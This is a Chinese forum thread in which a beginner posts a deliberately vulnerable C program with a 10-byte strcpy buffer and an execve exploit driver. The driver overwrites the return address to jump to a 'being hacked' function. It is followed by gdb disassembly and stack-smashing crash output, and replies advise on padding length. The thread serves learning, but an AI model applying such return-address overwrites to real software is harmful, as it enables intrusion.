初学溢出反汇编题目望高手帮忙分析下

本帖最后由 Green_leaves 于 2012-6-15 16:51 编辑

没有一点汇编基础这题我已经搞了2天了.基本的汇编也学到了点,但是题还是弄出来.脑壳痛啊!

源代码
a.c

#include "stdio.h"
#include "string.h"

void copyout(const char *input)
{
char buf[10];
strcpy(buf,input);
printf("%s \n",buf);
};

void bar(void)
{
printf("being hacked\n");
}

int main(int argc,char *argv[])
{
copyout(argv[1]);
return 0;
}

//t.c
#include "stdio.h"

char shellcode=
"\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41"
"\x42\x42\x42\x42\x42"
"\x42\x42\x42\x42\x42"
"\x42\x42\x42\x42\x42"
"\x42"
"\xc4\x84\x04\x08"
"\x00";

int main(void)
{
char *arg[3];
arg[0] = "./b";
arg[1] = shellcode;
arg[2] = NULL;
execve(arg[0],arg,NULL);
return 0;
}
参考:http://cloudsea999.blog.163.com/blog/static/167268117201091652120252/

我的调试结果,我还不会计算填充字符串长度,最后有点郁闷了,我好像找到了填充字符串长度,但是还是有错啊

*** stack smashing detected ***: ./b terminated
======= Backtrace: =========
/lib/libc.so.6(__fortify_fail+0x50)[0x253980]
/lib/libc.so.6(+0xe592a)[0x25392a]
./b[0x80484c2]
./b[0x80484f1]
/lib/libc.so.6(__libc_start_main+0xe7)[0x184ce7]
./b[0x80483e1]
======= Memory map: ========
00150000-0016c000 r-xp 00000000 08:01 2837 /lib/ld-2.12.1.so
0016c000-0016d000 r--p 0001b000 08:01 2837 /lib/ld-2.12.1.so
0016d000-0016e000 rw-p 0001c000 08:01 2837 /lib/ld-2.12.1.so
0016e000-002c5000 r-xp 00000000 08:01 2861 /lib/libc-2.12.1.so
002c5000-002c6000 ---p 00157000 08:01 2861 /lib/libc-2.12.1.so
002c6000-002c8000 r--p 00157000 08:01 2861 /lib/libc-2.12.1.so
002c8000-002c9000 rw-p 00159000 08:01 2861 /lib/libc-2.12.1.so
002c9000-002cc000 rw-p 00000000 00:00 0
00bf9000-00c13000 r-xp 00000000 08:01 2895 /lib/libgcc_s.so.1
00c13000-00c14000 r--p 00019000 08:01 2895 /lib/libgcc_s.so.1
00c14000-00c15000 rw-p 0001a000 08:01 2895 /lib/libgcc_s.so.1
00f1f000-00f20000 r-xp 00000000 00:00 0 [vdso]
08048000-08049000 r-xp 00000000 08:01 57324 /b
08049000-0804a000 r--p 00000000 08:01 57324 /b
0804a000-0804b000 rw-p 00001000 08:01 57324 /b
08720000-08741000 rw-p 00000000 00:00 0 [heap]
b78a4000-b78a5000 rw-p 00000000 00:00 0
b78b3000-b78b6000 rw-p 00000000 00:00 0
bfd2b000-bfd4c000 rw-p 00000000 00:00 0 [stack]
Aborted
root@GNS3WB:/# gcc a.c -o a
root@GNS3WB:/# ./a lewpan
lewpan
root@GNS3WB:/# gcc -ggdb a.c -o b
root@GNS3WB:/# gdb b
GNU gdb (GDB) 7.2-ubuntu
Copyright (C) 2010 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "i686-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /b...done.
(gdb) disassembler copyout
Undefined command: "disassembler". Try "help".
(gdb) disassemble copyout
Dump of assembler code for function copyout:
0x08048474 <+0>: push %ebp
0x08048475 <+1>: mov %esp,%ebp
0x08048477 <+3>: sub $0x38,%esp
0x0804847a <+6>: mov 0x8(%ebp),%eax
0x0804847d <+9>: mov %eax,-0x1c(%ebp)
0x08048480 <+12>: mov %gs:0x14,%eax
0x08048486 <+18>: mov %eax,-0xc(%ebp)
0x08048489 <+21>: xor %eax,%eax
0x0804848b <+23>: mov -0x1c(%ebp),%eax
0x0804848e <+26>: mov %eax,0x4(%esp)
0x08048492 <+30>: lea -0x16(%ebp),%eax
0x08048495 <+33>: mov %eax,(%esp)
0x08048498 <+36>: call 0x8048378 <strcpy@plt>
0x0804849d <+41>: mov $0x80485c0,%eax
0x080484a2 <+46>: lea -0x16(%ebp),%edx
0x080484a5 <+49>: mov %edx,0x4(%esp)
0x080484a9 <+53>: mov %eax,(%esp)
0x080484ac <+56>: call 0x8048388 <printf@plt>
0x080484b1 <+61>: mov -0xc(%ebp),%eax
0x080484b4 <+64>: xor %gs:0x14,%eax
0x080484bb <+71>: je 0x80484c2 <copyout+78>
0x080484bd <+73>: call 0x8048398 <__stack_chk_fail@plt>
0x080484c2 <+78>: leave
0x080484c3 <+79>: ret
End of assembler dump.
(gdb) disassemble bar
Dump of assembler code for function bar:
0x080484c4 <+0>: push %ebp
0x080484c5 <+1>: mov %esp,%ebp
0x080484c7 <+3>: sub $0x18,%esp
0x080484ca <+6>: movl $0x80485c5,(%esp)
0x080484d1 <+13>: call 0x80483a8 <puts@plt>
0x080484d6 <+18>: leave
0x080484d7 <+19>: ret
End of assembler dump.
(gdb) disassemble main
Dump of assembler code for function main:
0x080484d8 <+0>: push %ebp
0x080484d9 <+1>: mov %esp,%ebp
0x080484db <+3>: and $0xfffffff0,%esp
0x080484de <+6>: sub $0x10,%esp
0x080484e1 <+9>: mov 0xc(%ebp),%eax
0x080484e4 <+12>: add $0x4,%eax
0x080484e7 <+15>: mov (%eax),%eax
0x080484e9 <+17>: mov %eax,(%esp)
0x080484ec <+20>: call 0x8048474 <copyout>
0x080484f1 <+25>: mov $0x0,%eax
0x080484f6 <+30>: leave
0x080484f7 <+31>: ret
End of assembler dump.
(gdb) break main
Breakpoint 1 at 0x80484e1: file a.c, line 18.
(gdb) run lewpan
Starting program: /b lewpan

Breakpoint 1, main (argc=2, argv=0xbffff7c4) at a.c:18
18 copyout(argv[1]);
(gdb) i r
eax 0xbffff7c4 -1073743932
ecx 0x56b5bbc4 1454750660
edx 0x2 2
ebx 0x288ff4 2658292
esp 0xbffff700 0xbffff700
ebp 0xbffff718 0xbffff718
esi 0x0 0
edi 0x0 0
eip 0x80484e1 0x80484e1 <main+9>
eflags 0x286 [ PF SF IF ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
(gdb) step
copyout (input=0xbffff8f5 "lewpan") at a.c:5
5 {
(gdb) i r
eax 0xbffff8f5 -1073743627
ecx 0x56b5bbc4 1454750660
edx 0x2 2
ebx 0x288ff4 2658292
esp 0xbffff6c0 0xbffff6c0
ebp 0xbffff6f8 0xbffff6f8
esi 0x0 0
edi 0x0 0
eip 0x8048480 0x8048480 <copyout+12>
eflags 0x286 [ PF SF IF ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
(gdb) step
7 strcpy(buf,input);
(gdb) i r
eax 0x0 0
ecx 0x56b5bbc4 1454750660
edx 0x2 2
ebx 0x288ff4 2658292
esp 0xbffff6c0 0xbffff6c0
ebp 0xbffff6f8 0xbffff6f8
esi 0x0 0
edi 0x0 0
eip 0x804848b 0x804848b <copyout+23>
eflags 0x246 [ PF ZF IF ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
(gdb) x/50x 0xbffff6a0
0xbffff6a0: 0xb7fffb28 0x00000001 0x00000000 0x00000001
0xbffff6b0: 0x0012d918 0x00000000 0x00008000 0x00288ff4
0xbffff6c0: 0x00237e89 0x0015e785 0xbffff6d8 0x00145ae5
0xbffff6d0: 0x00000000 0x08049ff4 0xbffff6e8 0xbffff8f5
0xbffff6e0: 0x0011eb80 0x08049ff4 0xbffff718 0x91cf0a00
0xbffff6f0: 0x00289324 0x00288ff4 0xbffff718 0x080484f1
0xbffff700: 0xbffff8f5 0x0011eb80 0x0804851b 0x00288ff4
0xbffff710: 0x08048510 0x00000000 0xbffff798 0x00145ce7
0xbffff720: 0x00000002 0xbffff7c4 0xbffff7d0 0xb7fff848
0xbffff730: 0xbffff838 0xffffffff 0x0012cff4 0x08048279
0xbffff740: 0x00000001 0xbffff780 0x0011e156 0x0012dad0
0xbffff750: 0xb7fffb28 0x00288ff4 0x00000000 0x00000000
0xbffff760: 0xbffff798 0x81e2a2bb
(gdb) step
8 printf("%s \n",buf);
(gdb) i r
eax 0xbffff6e2 -1073744158
ecx 0x0 0
edx 0x7 7
ebx 0x288ff4 2658292
esp 0xbffff6c0 0xbffff6c0
ebp 0xbffff6f8 0xbffff6f8
esi 0x0 0
edi 0x0 0
eip 0x804849d 0x804849d <copyout+41>
eflags 0x246 [ PF ZF IF ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
(gdb) x/50x 0xbffff6a0
0xbffff6a0: 0xbffff6f8 0x00123ed0 0x00000002 0x001a31c0
0xbffff6b0: 0x00000000 0x00000000 0xbffff6f8 0x0804849d
0xbffff6c0: 0xbffff6e2 0xbffff8f5 0xbffff6d8 0x00145ae5
0xbffff6d0: 0x00000000 0x08049ff4 0xbffff6e8 0xbffff8f5
0xbffff6e0: 0x656ceb80 0x6e617077 0xbffff700 0x91cf0a00
0xbffff6f0: 0x00289324 0x00288ff4 0xbffff718 0x080484f1
0xbffff700: 0xbffff8f5 0x0011eb80 0x0804851b 0x00288ff4
0xbffff710: 0x08048510 0x00000000 0xbffff798 0x00145ce7
0xbffff720: 0x00000002 0xbffff7c4 0xbffff7d0 0xb7fff848
0xbffff730: 0xbffff838 0xffffffff 0x0012cff4 0x08048279
0xbffff740: 0x00000001 0xbffff780 0x0011e156 0x0012dad0
0xbffff750: 0xb7fffb28 0x00288ff4 0x00000000 0x00000000
0xbffff760: 0xbffff798 0x81e2a2bb
(gdb) step
lewpan
9 };
(gdb) i r
eax 0x8 8
ecx 0xbffff6a8 -1073744216
edx 0x28a360 2663264
ebx 0x288ff4 2658292
esp 0xbffff6c0 0xbffff6c0
ebp 0xbffff6f8 0xbffff6f8
esi 0x0 0
edi 0x0 0
eip 0x80484b1 0x80484b1 <copyout+61>
eflags 0x296 [ PF AF SF IF ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
(gdb) step
main (argc=2, argv=0xbffff7c4) at a.c:19
19 return 0;
(gdb) i r
eax 0x0 0
ecx 0xbffff6a8 -1073744216
edx 0x28a360 2663264
ebx 0x288ff4 2658292
esp 0xbffff700 0xbffff700
ebp 0xbffff718 0xbffff718
esi 0x0 0
edi 0x0 0
eip 0x80484f1 0x80484f1 <main+25>
eflags 0x246 [ PF ZF IF ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
(gdb) step
20 }
(gdb) i r
eax 0x0 0
ecx 0xbffff6a8 -1073744216
edx 0x28a360 2663264
ebx 0x288ff4 2658292
esp 0xbffff700 0xbffff700
ebp 0xbffff718 0xbffff718
esi 0x0 0
edi 0x0 0
eip 0x80484f6 0x80484f6 <main+30>
eflags 0x246 [ PF ZF IF ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
(gdb) step
0x00145ce7 in __libc_start_main () from /lib/libc.so.6
(gdb) i r
eax 0x0 0
ecx 0xbffff6a8 -1073744216
edx 0x28a360 2663264
ebx 0x288ff4 2658292
esp 0xbffff720 0xbffff720
ebp 0xbffff798 0xbffff798
esi 0x0 0
edi 0x0 0
eip 0x145ce7 0x145ce7 <__libc_start_main+231>
eflags 0x246 [ PF ZF IF ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51

我已经填充好了但是好像还是不行
AAAAAAAAAABBBBBBBBBBBBBBBB
*** stack smashing detected ***: ./b terminated
======= Backtrace: =========
/lib/libc.so.6(__fortify_fail+0x50)[0xcd4980]
/lib/libc.so.6(+0xe592a)[0xcd492a]
./b[0x80484c2]
./b[0x80484c4]
======= Memory map: ========
0090d000-00927000 r-xp 00000000 08:01 2895 /lib/libgcc_s.so.1
00927000-00928000 r--p 00019000 08:01 2895 /lib/libgcc_s.so.1
00928000-00929000 rw-p 0001a000 08:01 2895 /lib/libgcc_s.so.1
00a48000-00a49000 r-xp 00000000 00:00 0 [vdso]
00bef000-00d46000 r-xp 00000000 08:01 2861 /lib/libc-2.12.1.so
00d46000-00d47000 ---p 00157000 08:01 2861 /lib/libc-2.12.1.so
00d47000-00d49000 r--p 00157000 08:01 2861 /lib/libc-2.12.1.so
00d49000-00d4a000 rw-p 00159000 08:01 2861 /lib/libc-2.12.1.so
00d4a000-00d4d000 rw-p 00000000 00:00 0
00eef000-00f0b000 r-xp 00000000 08:01 2837 /lib/ld-2.12.1.so
00f0b000-00f0c000 r--p 0001b000 08:01 2837 /lib/ld-2.12.1.so
00f0c000-00f0d000 rw-p 0001c000 08:01 2837 /lib/ld-2.12.1.so
08048000-08049000 r-xp 00000000 08:01 57324 /b
08049000-0804a000 r--p 00000000 08:01 57324 /b
0804a000-0804b000 rw-p 00001000 08:01 57324 /b
0971a000-0973b000 rw-p 00000000 00:00 0 [heap]
b7726000-b7727000 rw-p 00000000 00:00 0
b7735000-b7738000 rw-p 00000000 00:00 0
bf81e000-bf83f000 rw-p 00000000 00:00 0 [stack]
Aborted

我也在学溢出 ·····{:4_19:}

{:4_06:}不懂这一块

功底··不够··还是 写俺的 C51 才是王道 哈哈啊····

楼主留QQ一起研究吧
我也有兴趣研究溢出

本帖最后由 ettack 于 2012-3-2 13:14 编辑

感觉你填充多了,应该10+4(ebp)+4(eip)+1就行了

楼主初学就在Linux下的?
http://www.90sec.org/redirect.php?goto=findpost&ptid=1246&pid=16297

不懂的
路过.....................

**回复 7# 落叶 **

恩!win下也一样吧!我看过VC++6.0来调试这样的问题.

**回复 6# ettack **

./b[0x80484c2]
这个是我最不明白的了!

./b[0x80484c4]
从这里可以看出
虽然我是兜出来的!

**回复 6# ettack **

如果按照参考来做的话会出现这样的错误!

*** stack smashing detected ***: ./b terminated
======= Backtrace: =========
/lib/libc.so.6(__fortify_fail+0x50)[0x253980]
/lib/libc.so.6(+0xe592a)[0x25392a]
./b[0x80484c2]
./b[0x80484f1]

**回复 4# 麦田丶守望者 **

帮忙分析下哈!C51我也玩过,但是都是C弄的!

你好,lz我简单分析了下
http://www.90sec.org/thread-1628-1-1.html
交流学习~~

哈哈···我也 ··在学习··不行啊··蛋疼··学着累···

晕 贴这么多代码看着蛋疼。你提问也要注意下排版吧。。

0x080484bb <+71>: je 0x80484c2 <copyout+78>
je是条件跳转,如果想任何时候都跳转到0x80484c2 那么你的跳转语句要改成 jmp

**回复 16# 阿冰 **

恩。。。。。谢谢。。。。学习啦

小弟实在看不懂。。。